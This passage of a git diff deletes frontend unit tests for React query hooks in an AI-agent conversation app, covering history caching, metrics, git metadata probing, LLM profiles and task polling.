so the user sees the most recent 50 events first. - expect(EventService.searchEvents).toHaveBeenCalledWith( - "conv-123", - null, - null, - { - limit: INITIAL_HISTORY_PAGE_SIZE, - sortOrder: "TIMESTAMP_DESC", - }, - ); - }); - - it("returns events in chronological order even though the server returns desc", async () => { - vi.mocked(useUserConversation).mockReturnValue({ - data: makeConversation("V1"), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - const newest = makeEvent("evt-newest", "2024-02-01T00:00:00Z"); - const middle = makeEvent("evt-middle", "2024-01-15T00:00:00Z"); - const oldest = makeEvent("evt-oldest", "2024-01-01T00:00:00Z"); - - vi.spyOn(EventService, "searchEvents").mockResolvedValue( - makePage([newest, middle, oldest], "page-2"), - ); - - const { result } = renderHook(() => useConversationHistory("conv-order"), { - wrapper, - }); - - await waitFor(() => { - expect(result.current.data).toBeDefined(); - }); - - expect(result.current.data?.events.map((e: any) => e.id)).toEqual([ - "evt-oldest", - "evt-middle", - "evt-newest", - ]); - expect(result.current.data?.hasMore).toBe(true); - expect(result.current.data?.nextPageId).toBe("page-2"); - }); - - it("treats a full initial page without next_page_id as having more history", async () => { - vi.mocked(useUserConversation).mockReturnValue({ - data: makeConversation("V1"), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - vi.spyOn(EventService, "searchEvents").mockResolvedValue( - makePage( - Array.from({ length: INITIAL_HISTORY_PAGE_SIZE }, (_, index) => - makeEvent(`evt-${index}`, new Date(2024, 0, index + 1).toISOString()), - ), - null, - ), - ); - - const { result } = renderHook( - () => useConversationHistory("conv-full-page"), - { - wrapper, - }, - ); - - await waitFor(() => { - expect(result.current.data).toBeDefined(); - }); - - expect(result.current.data?.hasMore).toBe(true); - }); - - it("throws a descriptive error when searchEvents returns malformed items", async () => { - vi.mocked(useUserConversation).mockReturnValue({ - data: makeConversation("V1"), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - vi.spyOn(EventService, "searchEvents").mockResolvedValue({ - items: { bad: true }, - next_page_id: null, - } as unknown as EventSearchPage); - - const { result } = renderHook( - () => useConversationHistory("conv-malformed"), - { wrapper }, - ); - - await waitFor(() => { - expect(result.current.error).toBeInstanceOf(Error); - }); - - expect((result.current.error as Error).message).toBe( - "Invalid conversation history response: expected page.items to be an array.", - ); - }); - -}); - -describe("useConversationHistory cache key stability", () => { - let localQueryClient: QueryClient; - let localWrapper: ({ - children, - }: { - children: React.ReactNode; - }) => React.ReactElement; - - beforeEach(() => { - localQueryClient = new QueryClient({ - defaultOptions: { - queries: { - retry: false, - }, - }, - }); - localWrapper = ({ children }: { children: React.ReactNode }) => - React.createElement( - QueryClientProvider, - { client: localQueryClient }, - children, - ); - }); - - afterEach(() => { - localQueryClient.clear(); - vi.clearAllMocks(); - }); - - it("does not refetch when conversation object changes but version stays the same", async () => { - const v1Spy = vi.spyOn(EventService, "searchEvents"); - v1Spy.mockResolvedValue(makePage([makeEvent()])); - - const conv1 = makeConversation("V1"); - vi.mocked(useUserConversation).mockReturnValue({ - data: conv1, - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - const { result, rerender } = renderHook( - () => useConversationHistory("conv-stable"), - { wrapper: localWrapper }, - ); - - await waitFor(() => { - expect(result.current.data).toBeDefined(); - }); - - expect(v1Spy).toHaveBeenCalledTimes(1); - - // Simulate background polling: new object reference with different mutable fields - // but the SAME conversation_version - const conv2: Conversation = { - ...conv1, - last_updated_at: "2099-01-01T00:00:00Z", - status: "STOPPED", - runtime_status: "STATUS$STOPPED", - }; - vi.mocked(useUserConversation).mockReturnValue({ - data: conv2, - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - rerender(); - - // Allow any potential async refetch to trigger - await new Promise((r) => { - setTimeout(r, 50); - }); - - // Must NOT refetch — version hasn't changed, only mutable fields did - expect(v1Spy).toHaveBeenCalledTimes(1); - - // Note: The behavior of always using V1 API regardless of conversation_version - // means the "version change triggers refetch" test is no longer applicable. - // The hook now consistently uses searchEvents for all conversations. - }); - - it("refetches the tail on remount (returning to a conversation) so events produced while away load in one batched page", async () => { - const v1Spy = vi.spyOn(EventService, "searchEvents"); - v1Spy.mockResolvedValue(makePage([makeEvent()])); - - vi.mocked(useUserConversation).mockReturnValue({ - data: makeConversation("V1"), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - const { unmount } = renderHook( - () => useConversationHistory("conv-remount"), - { wrapper: localWrapper }, - ); - await waitFor(() => expect(v1Spy).toHaveBeenCalledTimes(1)); - - // Leaving keeps the page cached (gcTime), so returning renders instantly — - // but it MUST refetch the tail so events the agent produced while we were - // away (e.g. an active /goal loop emitting turns on another conversation) - // arrive in this one batched REST page instead of being back-filled one at - // a time over the WebSocket `since` replay. - unmount(); - renderHook(() => useConversationHistory("conv-remount"), { - wrapper: localWrapper, - }); - await waitFor(() => expect(v1Spy).toHaveBeenCalledTimes(2)); - }); - - it("keeps the page cached (no window-focus refetch) so the gated WebSocket doesn't churn", async () => { - const v1Spy = vi.spyOn(EventService, "searchEvents"); - v1Spy.mockResolvedValue(makePage([makeEvent()])); - - vi.mocked(useUserConversation).mockReturnValue({ - data: makeConversation("V1"), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - const { result } = renderHook( - () => useConversationHistory("conv-focus-check"), - { wrapper: localWrapper }, - ); - - await waitFor(() => { - expect(result.current.data).toBeDefined(); - }); - - const queries = localQueryClient.getQueryCache().findAll({ - queryKey: ["conversation-history", "conv-focus-check"], - }); - expect(queries).toHaveLength(1); - const options = queries[0].options as Record; - // Cached data renders instantly on return (gcTime), the tail refetches on - // mount, and window focus is a no-op — the socket connection is gated on - // this query settling, so a focus refetch would drop and reconnect it. - expect(options.gcTime).toBeGreaterThanOrEqual(30 * 60 * 1000); - expect(options.refetchOnMount).toBe("always"); - expect(options.refetchOnWindowFocus).toBe(false); - }); - - it("has gcTime of at least 30 minutes for navigation resilience", async () => { - const v1Spy = vi.spyOn(EventService, "searchEvents"); - v1Spy.mockResolvedValue(makePage([makeEvent()])); - - vi.mocked(useUserConversation).mockReturnValue({ - data: makeConversation("V1"), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - const { result } = renderHook( - () => useConversationHistory("conv-gc-check"), - { wrapper: localWrapper }, - ); - - await waitFor(() => { - expect(result.current.data).toBeDefined(); - }); - - const queries = localQueryClient.getQueryCache().findAll({ - queryKey: ["conversation-history", "conv-gc-check"], - }); - expect(queries).toHaveLength(1); - expect(queries[0].options.gcTime).toBeGreaterThanOrEqual(30 * 60 * 1000); - }); -}); diff --git a/__tests__/hooks/query/use-conversation-metrics.test.tsx b/__tests__/hooks/query/use-conversation-metrics.test.tsx deleted file mode 100644 index 4e7a791ff..000000000 --- a/__tests__/hooks/query/use-conversation-metrics.test.tsx +++ /dev/null @@ -1,145 +0,0 @@ -import { afterEach, describe, expect, it, vi } from "vitest"; -import React from "react"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import { useConversationMetrics } from "#/hooks/query/use-conversation-metrics"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { ExecutionStatus } from "#/types/agent-server/core/base/common"; - -const runtimeInfo = { - id: "conv-abc", - title: "Test", - metrics: null, - created_at: "2026-04-16T00:00:00Z", - updated_at: "2026-04-16T00:00:00Z", - status: ExecutionStatus.IDLE, - stats: { - usage_to_metrics: { - agent: { - model_name: "test-model", - accumulated_cost: 2.5, - max_budget_per_task: null, - accumulated_token_usage: null, - costs: [], - response_latencies: [], - token_usages: [], - }, - }, - }, -}; - -function makeWrapper() { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return ({ children }: { children: React.ReactNode }) => ( - {children} - ); -} - -afterEach(() => { - vi.restoreAllMocks(); -}); - -describe("useConversationMetrics", () => { - it("fires the query when sessionApiKey is null (local backends without auth)", async () => { - // Arrange - const spy = vi - .spyOn(AgentServerConversationService, "getRuntimeConversation") - .mockResolvedValue(runtimeInfo); - - // Act - const { result } = renderHook( - () => - useConversationMetrics( - "conv-abc", - "http://localhost:8888/api/conversations/conv-abc", - null, - true, - ), - { wrapper: makeWrapper() }, - ); - - // Assert - await waitFor(() => { - expect(result.current.data?.accumulated_cost).toBe(2.5); - }); - expect(spy).toHaveBeenCalledWith( - "conv-abc", - "http://localhost:8888/api/conversations/conv-abc", - null, - ); - }); - - it("preserves an active LLM's per_turn_token when combined with a dormant condenser entry", async () => { - // Arrange - const multiLlmRuntimeInfo = { - id: "conv-multi", - title: "Test", - metrics: null, - created_at: "2026-04-16T00:00:00Z", - updated_at: "2026-04-16T00:00:00Z", - status: ExecutionStatus.IDLE, - stats: { - usage_to_metrics: { - agent: { - model_name: "test-model", - accumulated_cost: 0.07, - max_budget_per_task: null, - accumulated_token_usage: { - prompt_tokens: 37802, - completion_tokens: 1024, - cache_read_tokens: 24686, - cache_write_tokens: 12764, - context_window: 1_000_000, - per_turn_token: 38826, - }, - costs: [], - response_latencies: [], - token_usages: [], - }, - condenser: { - model_name: "test-model", - accumulated_cost: 0, - max_budget_per_task: null, - accumulated_token_usage: { - prompt_tokens: 0, - completion_tokens: 0, - cache_read_tokens: 0, - cache_write_tokens: 0, - context_window: 0, - per_turn_token: 0, - }, - costs: [], - response_latencies: [], - token_usages: [], - }, - }, - }, - }; - vi.spyOn( - AgentServerConversationService, - "getRuntimeConversation", - ).mockResolvedValue(multiLlmRuntimeInfo); - - // Act - const { result } = renderHook( - () => - useConversationMetrics( - "conv-multi", - "http://localhost:8888/api/conversations/conv-multi", - null, - true, - ), - { wrapper: makeWrapper() }, - ); - - // Assert - await waitFor(() => { - expect( - result.current.data?.accumulated_token_usage?.per_turn_token, - ).toBe(38826); - }); - }); -}); diff --git a/__tests__/hooks/query/use-has-git-commits.test.tsx b/__tests__/hooks/query/use-has-git-commits.test.tsx deleted file mode 100644 index 95a551aa0..000000000 --- a/__tests__/hooks/query/use-has-git-commits.test.tsx +++ /dev/null @@ -1,117 +0,0 @@ -import React from "react"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import AgentServerRuntimeService from "#/api/runtime-service/agent-server-runtime-service"; -import { useHasGitCommits } from "#/hooks/query/use-has-git-commits"; - -const useActiveBackendMock = vi.fn(); -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); - -const useActiveConversationMock = vi.fn(); -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -const useRuntimeIsReadyMock = vi.fn(); -vi.mock("#/hooks/use-runtime-is-ready", () => ({ - useRuntimeIsReady: () => useRuntimeIsReadyMock(), -})); - -const executeCommandSpy = vi.spyOn(AgentServerRuntimeService, "executeCommand"); - -function makeWrapper() { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return function HasGitCommitsTestWrapper({ - children, - }: { - children: React.ReactNode; - }) { - return ( - {children} - ); - }; -} - -const makeBackend = (kind: "local" | "cloud") => ({ - backend: { - id: "backend-id", - name: kind === "local" ? "Local" : "Production", - host: - kind === "local" ? "http://127.0.0.1:8000" : "https://app.all-hands.dev", - apiKey: "test-key", - kind, - }, - orgId: null, -}); - -const conversation = { - id: "conv-1", - conversation_url: "https://runtime.example.com/api/conversations/conv-1", - session_api_key: "session-key", - workspace: { working_dir: "/workspace/project" }, -}; - -describe("useHasGitCommits", () => { - beforeEach(() => { - useActiveBackendMock.mockReset(); - useActiveConversationMock.mockReset(); - useRuntimeIsReadyMock.mockReset(); - executeCommandSpy.mockReset(); - - useRuntimeIsReadyMock.mockReturnValue(true); - useActiveConversationMock.mockReturnValue({ data: conversation }); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - it("does not call executeCommand on a cloud backend", async () => { - // Arrange - useActiveBackendMock.mockReturnValue(makeBackend("cloud")); - - // Act - const { result } = renderHook(() => useHasGitCommits(), { - wrapper: makeWrapper(), - }); - - // Assert: probe stays disabled; hasCommits remains null. - await new Promise((resolve) => { - setTimeout(resolve, 20); - }); - expect(executeCommandSpy).not.toHaveBeenCalled(); - expect(result.current.hasCommits).toBeNull(); - }); - - it("probes HEAD via executeCommand on a local backend and returns true when the repo has commits", async () => { - // Arrange - useActiveBackendMock.mockReturnValue(makeBackend("local")); - executeCommandSpy.mockResolvedValue({ - exit_code: 0, - stdout: "abcdef0\n", - stderr: "", - }); - - // Act - const { result } = renderHook(() => useHasGitCommits(), { - wrapper: makeWrapper(), - }); - - // Assert - await waitFor(() => expect(result.current.isLoading).toBe(false)); - expect(executeCommandSpy).toHaveBeenCalledWith( - conversation.conversation_url, - conversation.session_api_key, - "git rev-parse --verify HEAD", - "/workspace/project", - 10, - ); - expect(result.current.hasCommits).toBe(true); - }); -}); diff --git a/__tests__/hooks/query/use-llm-profiles.test.tsx b/__tests__/hooks/query/use-llm-profiles.test.tsx deleted file mode 100644 index 81f0a4520..000000000 --- a/__tests__/hooks/query/use-llm-profiles.test.tsx +++ /dev/null @@ -1,267 +0,0 @@ -import { describe, expect, it, vi, afterEach, beforeEach } from "vitest"; -import React from "react"; -import { renderHook, waitFor, act } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { - useLlmProfiles, - LLM_PROFILES_QUERY_KEYS, -} from "#/hooks/query/use-llm-profiles"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import type { Backend } from "#/api/backend-registry/types"; - -vi.mock("#/api/profiles-service/profiles-service.api"); - -const localBackend1: Backend = { - id: "local-1", - name: "Local 1", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", -}; - -const localBackend2: Backend = { - id: "local-2", - name: "Local 2", - host: "http://localhost:9000", - apiKey: "session-key-2", - kind: "local", -}; - -describe("useLlmProfiles", () => { - let queryClient: QueryClient; - let wrapper: ({ - children, - }: { - children: React.ReactNode; - }) => React.ReactElement; - - beforeEach(() => { - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend1, localBackend2]); - setActiveSelection({ backendId: localBackend1.id, orgId: null }); - - queryClient = new QueryClient({ - defaultOptions: { - queries: { - retry: false, - }, - }, - }); - wrapper = ({ children }: { children: React.ReactNode }) => - React.createElement( - QueryClientProvider, - { client: queryClient }, - React.createElement(ActiveBackendProvider, null, children), - ); - }); - - afterEach(() => { - queryClient.clear(); - vi.clearAllMocks(); - __resetActiveStoreForTests(); - }); - - it("fetches profiles from ProfilesService.listProfiles", async () => { - const mockProfiles = { - profiles: [ - { - name: "profile-1", - model: "openai/gpt-4", - base_url: null, - api_key_set: true, - }, - { - name: "profile-2", - model: "anthropic/claude-3", - base_url: null, - api_key_set: false, - }, - ], - active_profile: "profile-1", - }; - - vi.mocked(ProfilesService.listProfiles).mockResolvedValue(mockProfiles); - - const { result } = renderHook(() => useLlmProfiles(), { wrapper }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - expect(ProfilesService.listProfiles).toHaveBeenCalledTimes(1); - expect(result.current.data).toEqual(mockProfiles); - expect(result.current.data?.profiles).toHaveLength(2); - }); - - it("includes backend.id and orgId in query key for cache isolation", async () => { - vi.mocked(ProfilesService.listProfiles).mockResolvedValue({ - profiles: [], - active_profile: null, - }); - - const { result } = renderHook(() => useLlmProfiles(), { wrapper }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - const queries = queryClient.getQueryCache().findAll({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect(queries).toHaveLength(1); - // Verify full query key includes backend.id and orgId - expect(queries[0].queryKey).toEqual([ - ...LLM_PROFILES_QUERY_KEYS.all, - localBackend1.id, - null, // orgId - ]); - }); - - it("creates separate cache entries when switching backends", async () => { - const profilesBackend1 = { - profiles: [ - { - name: "profile-backend-1", - model: "openai/gpt-4", - base_url: null, - api_key_set: true, - }, - ], - active_profile: null, - }; - const profilesBackend2 = { - profiles: [ - { - name: "profile-backend-2", - model: "anthropic/claude-3", - base_url: null, - api_key_set: true, - }, - ], - active_profile: null, - }; - - vi.mocked(ProfilesService.listProfiles) - .mockResolvedValueOnce(profilesBackend1) - .mockResolvedValueOnce(profilesBackend2); - - // Fetch profiles for backend 1 - const { result, rerender } = renderHook(() => useLlmProfiles(), { - wrapper, - }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - expect(result.current.data?.profiles[0].name).toBe("profile-backend-1"); - - // Switch to backend 2 - act(() => { - setActiveSelection({ backendId: localBackend2.id, orgId: null }); - }); - rerender(); - - await waitFor(() => { - expect(result.current.data?.profiles[0].name).toBe("profile-backend-2"); - }); - - // Verify we have 2 separate cache entries - const queries = queryClient.getQueryCache().findAll({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect(queries).toHaveLength(2); - - // Verify each has the correct backend.id in the query key - const queryKeys = queries.map((q) => q.queryKey); - expect(queryKeys).toContainEqual([ - ...LLM_PROFILES_QUERY_KEYS.all, - localBackend1.id, - null, - ]); - expect(queryKeys).toContainEqual([ - ...LLM_PROFILES_QUERY_KEYS.all, - localBackend2.id, - null, - ]); - }); - - it("has staleTime of 5 minutes", async () => { - vi.mocked(ProfilesService.listProfiles).mockResolvedValue({ - profiles: [], - active_profile: null, - }); - - const { result } = renderHook(() => useLlmProfiles(), { wrapper }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - const queries = queryClient.getQueryCache().findAll({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect(queries).toHaveLength(1); - expect((queries[0].options as Record).staleTime).toBe( - 1000 * 60 * 5, - ); - }); - - it("has gcTime of 15 minutes", async () => { - vi.mocked(ProfilesService.listProfiles).mockResolvedValue({ - profiles: [], - active_profile: null, - }); - - const { result } = renderHook(() => useLlmProfiles(), { wrapper }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - const queries = queryClient.getQueryCache().findAll({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect(queries).toHaveLength(1); - expect(queries[0].options.gcTime).toBe(1000 * 60 * 15); - }); - - it("disables toast notifications via meta", async () => { - vi.mocked(ProfilesService.listProfiles).mockResolvedValue({ - profiles: [], - active_profile: null, - }); - - const { result } = renderHook(() => useLlmProfiles(), { wrapper }); - - await waitFor(() => { - expect(result.current.isSuccess).toBe(true); - }); - - const queries = queryClient.getQueryCache().findAll({ - queryKey: LLM_PROFILES_QUERY_KEYS.all, - }); - expect((queries[0].options as Record).meta).toEqual({ - disableToast: true, - }); - }); - - it("handles API errors gracefully", async () => { - const error = new Error("Network error"); - vi.mocked(ProfilesService.listProfiles).mockRejectedValue(error); - - const { result } = renderHook(() => useLlmProfiles(), { wrapper }); - - await waitFor(() => { - expect(result.current.isError).toBe(true); - }); - - expect(result.current.error).toBe(error); - expect(result.current.data).toBeUndefined(); - }); -}); diff --git a/__tests__/hooks/query/use-local-git-info.test.tsx b/__tests__/hooks/query/use-local-git-info.test.tsx deleted file mode 100644 index e6967654d..000000000 --- a/__tests__/hooks/query/use-local-git-info.test.tsx +++ /dev/null @@ -1,186 +0,0 @@ -import React from "react"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { useLocalGitInfo } from "#/hooks/query/use-local-git-info"; - -const useActiveBackendMock = vi.fn(); -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); - -const useActiveConversationMock = vi.fn(); -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -const useRuntimeIsReadyMock = vi.fn(); -vi.mock("#/hooks/use-runtime-is-ready", () => ({ - useRuntimeIsReady: () => useRuntimeIsReadyMock(), -})); - -const runCommandMock = vi.fn(); -const useBashCommandRunnerMock = vi.fn(); -vi.mock("#/hooks/use-bash-command-runner", () => ({ - useBashCommandRunner: ( - conversationUrl: string | null | undefined, - sessionApiKey: string | null | undefined, - enabled: boolean, - ) => useBashCommandRunnerMock(conversationUrl, sessionApiKey, enabled), -})); - -function makeWrapper() { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return function LocalGitInfoTestWrapper({ - children, - }: { - children: React.ReactNode; - }) { - return ( - {children} - ); - }; -} - -const makeBackend = (kind: "local" | "cloud") => ({ - backend: { - id: "backend-id", - name: kind === "local" ? "Local" : "Production", - host: - kind === "local" ? "http://127.0.0.1:8000" : "https://app.all-hands.dev", - apiKey: "test-key", - kind, - }, - orgId: null, -}); - -const conversationWithoutRepo = { - id: "conv-1", - conversation_url: "https://runtime.example.com/api/conversations/conv-1", - session_api_key: "session-key", - workspace: { working_dir: "/workspace/project" }, - selected_repository: null, - git_provider: null, - selected_branch: null, -}; - -const conversationWithoutWorkspace = { - id: "conv-2", - conversation_url: "https://runtime.example.com/api/conversations/conv-2", - session_api_key: "session-key", - workspace: null, - selected_repository: null, - git_provider: null, - selected_branch: null, -}; - -describe("useLocalGitInfo", () => { - beforeEach(() => { - useActiveBackendMock.mockReset(); - useActiveConversationMock.mockReset(); - useRuntimeIsReadyMock.mockReset(); - runCommandMock.mockReset(); - useBashCommandRunnerMock.mockReset(); - useBashCommandRunnerMock.mockImplementation(() => runCommandMock); - - useRuntimeIsReadyMock.mockReturnValue(true); - useActiveConversationMock.mockReturnValue({ - data: conversationWithoutRepo, - }); - runCommandMock.mockResolvedValue({ - exit_code: 0, - stdout: "git@github.com:acme/widgets.git\n", - stderr: "", - }); - }); - - afterEach(() => { - vi.clearAllMocks(); - }); - - it("does not call the bash runner on a cloud backend even when conversation metadata is incomplete", async () => { - // Arrange - useActiveBackendMock.mockReturnValue(makeBackend("cloud")); - - // Act - const { result } = renderHook(() => useLocalGitInfo(), { - wrapper: makeWrapper(), - }); - - // Assert: query stays disabled (no fetch, no data); bash endpoint not driven. - await new Promise((resolve) => { - setTimeout(resolve, 20); - }); - expect(result.current.fetchStatus).toBe("idle"); - expect(runCommandMock).not.toHaveBeenCalled(); - // The bash command runner should be created in a disabled state on cloud. - expect(useBashCommandRunnerMock).toHaveBeenCalledWith( - conversationWithoutRepo.conversation_url, - conversationWithoutRepo.session_api_key, - false, - ); - }); - - it("does not poll when the conversation has no workspace attached, even on a local backend", async () => { - // Arrange - useActiveBackendMock.mockReturnValue(makeBackend("local")); - useActiveConversationMock.mockReturnValue({ - data: conversationWithoutWorkspace, - }); - - // Act - const { result } = renderHook(() => useLocalGitInfo(), { - wrapper: makeWrapper(), - }); - - // Assert: query stays disabled; no bash commands are issued. - await new Promise((resolve) => { - setTimeout(resolve, 20); - }); - expect(result.current.fetchStatus).toBe("idle"); - expect(runCommandMock).not.toHaveBeenCalled(); - expect(useBashCommandRunnerMock).toHaveBeenCalledWith( - conversationWithoutWorkspace.conversation_url, - conversationWithoutWorkspace.session_api_key, - false, - ); - }); - - it("probes git metadata via the bash runner on a local backend when conversation metadata is incomplete", async () => { - // Arrange - useActiveBackendMock.mockReturnValue(makeBackend("local")); - // The consolidated script returns remote URL and branch on separate lines. - runCommandMock.mockResolvedValueOnce({ - exit_code: 0, - stdout: "git@github.com:acme/widgets.git\nmain", - stderr: "", - }); - - // Act - const { result } = renderHook(() => useLocalGitInfo(), { - wrapper: makeWrapper(), - }); - - // Assert - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(useBashCommandRunnerMock).toHaveBeenCalledWith( - conversationWithoutRepo.conversation_url, - conversationWithoutRepo.session_api_key, - true, - ); - // All git probing is now done in a single bash round-trip. - expect(runCommandMock).toHaveBeenCalledTimes(1); - expect(runCommandMock).toHaveBeenCalledWith( - expect.stringContaining("git remote get-url origin"), - "/workspace/project", - 10, - ); - expect(result.current.data).toMatchObject({ - repository: "acme/widgets", - branch: "main", - }); - }); -}); diff --git a/__tests__/hooks/query/use-sub-conversation-task-polling.test.tsx b/__tests__/hooks/query/use-sub-conversation-task-polling.test.tsx deleted file mode 100644 index 20fda8f85..000000000 --- a/__tests__/hooks/query/use-sub-conversation-task-polling.test.tsx +++ /dev/null @@ -1,115 +0,0 @@ -import { renderHook, waitFor } from "@testing-library/react"; -import { describe, expect, it, vi, beforeEach, afterEach } from "vitest"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import React from "react"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { useSubConversationTaskPolling } from "#/hooks/query/use-sub-conversation-task-polling"; -import type { AppConversationStartTask } from "#/api/conversation-service/agent-server-conversation-service.types"; - -// Mock the underlying service -vi.mock("#/api/conversation-service/agent-server-conversation-service.api", () => ({ - default: { - getStartTask: vi.fn(), - }, -})); - -describe("useSubConversationTaskPolling", () => { - let queryClient: QueryClient; - - const createWrapper = () => { - queryClient = new QueryClient({ - defaultOptions: { - queries: { - retry: false, - }, - }, - }); - - return function ({ children }: { children: React.ReactNode }) { - return ( - - {children} - - ); - }; - }; - - const createMockTask = ( - status: AppConversationStartTask["status"], - appConversationId: string | null = null, - ): AppConversationStartTask => ({ - id: "task-123", - created_by_user_id: "user-1", - status, - detail: null, - app_conversation_id: appConversationId, - agent_server_url: null, - request: {}, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), - }); - - beforeEach(() => { - vi.clearAllMocks(); - }); - - afterEach(() => { - queryClient?.clear(); - }); - - it("should return task status when task is READY", async () => { - // Arrange - const mockTask = createMockTask("READY", "sub-conversation-123"); - vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue(mockTask); - - // Act - const { result } = renderHook( - () => - useSubConversationTaskPolling("task-123", "parent-conversation-456"), - { wrapper: createWrapper() }, - ); - - // Assert - await waitFor(() => { - expect(result.current.taskStatus).toBe("READY"); - }); - expect(result.current.subConversationId).toBe("sub-conversation-123"); - expect(AgentServerConversationService.getStartTask).toHaveBeenCalledWith("task-123"); - }); - - it("should not poll when taskId is null", async () => { - // Arrange - vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue(null); - - // Act - const { result } = renderHook( - () => useSubConversationTaskPolling(null, "parent-conversation-456"), - { wrapper: createWrapper() }, - ); - - // Assert - wait a bit to ensure no calls are made - await new Promise((resolve) => { - setTimeout(resolve, 100); - }); - expect(AgentServerConversationService.getStartTask).not.toHaveBeenCalled(); - expect(result.current.taskStatus).toBeUndefined(); - }); - - it("should not poll when parentConversationId is null", async () => { - // Arrange - vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue(null); - - // Act - const { result } = renderHook( - () => useSubConversationTaskPolling("task-123", null), - { wrapper: createWrapper() }, - ); - - // Assert - wait a bit to ensure no calls are made - await new Promise((resolve) => { - setTimeout(resolve, 100); - }); - expect(AgentServerConversationService.getStartTask).not.toHaveBeenCalled(); - expect(result.current.taskStatus).toBeUndefined(); - }); -}); diff --git a/__tests__/hooks/query/use-task-polling.test.tsx b/__tests__/hooks/query/use-task-polling.test.tsx deleted file mode 100644 index 1e5634ce3..000000000 --- a/__tests__/hooks/query/use-task-polling.test.tsx +++ /dev/null @@ -1,228 +0,0 @@ -import React from "react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { renderHook, waitFor } from "@testing-library/react"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import type { AppConversationStartTask } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { NavigationProvider } from "#/context/navigation-context"; -import { - useTaskPolling, - useTaskPollingController, -} from "#/hooks/query/use-task-polling"; -import { trackCloudConversationReady } from "#/services/cloud-funnel-analytics"; -import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store"; -import { - consumePendingTaskDraft, - getConversationState, - setPendingTaskDraft, -} from "#/utils/conversation-local-storage"; -import { resetPendingTaskMessageLinkState } from "#/utils/pending-task-message-link"; -import { getStoredConversationMetadata } from "#/api/conversation-metadata-store"; - -vi.mock( - "#/api/conversation-service/agent-server-conversation-service.api", - () => ({ - default: { - getStartTask: vi.fn(), - }, - }), -); -vi.mock("#/services/cloud-funnel-analytics", () => ({ - trackCloudConversationReady: vi.fn(), -})); - -const readyTask: AppConversationStartTask = { - id: "123", - created_by_user_id: "user-1", - status: "READY", - detail: null, - app_conversation_id: "conversation-1", - agent_server_url: null, - request: {}, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), -}; - -describe("useTaskPolling", () => { - let queryClient: QueryClient; - const navigate = vi.fn(); - - const createWrapper = () => { - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - - return function Wrapper({ children }: { children: React.ReactNode }) { - return ( - - - {children} - - - ); - }; - }; - - beforeEach(() => { - vi.clearAllMocks(); - localStorage.clear(); - resetPendingTaskMessageLinkState(); - useOptimisticUserMessageStore.setState({ pendingMessages: [] }); - }); - - afterEach(() => { - queryClient?.clear(); - localStorage.clear(); - }); - - it("moves pending task drafts onto the real conversation before redirecting", async () => { - vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue( - readyTask, - ); - setPendingTaskDraft("123", "Create this automation draft"); - - const { result } = renderHook(() => useTaskPollingController(), { - wrapper: createWrapper(), - }); - - await waitFor(() => expect(result.current.taskStatus).toBe("READY")); - await waitFor(() => { - 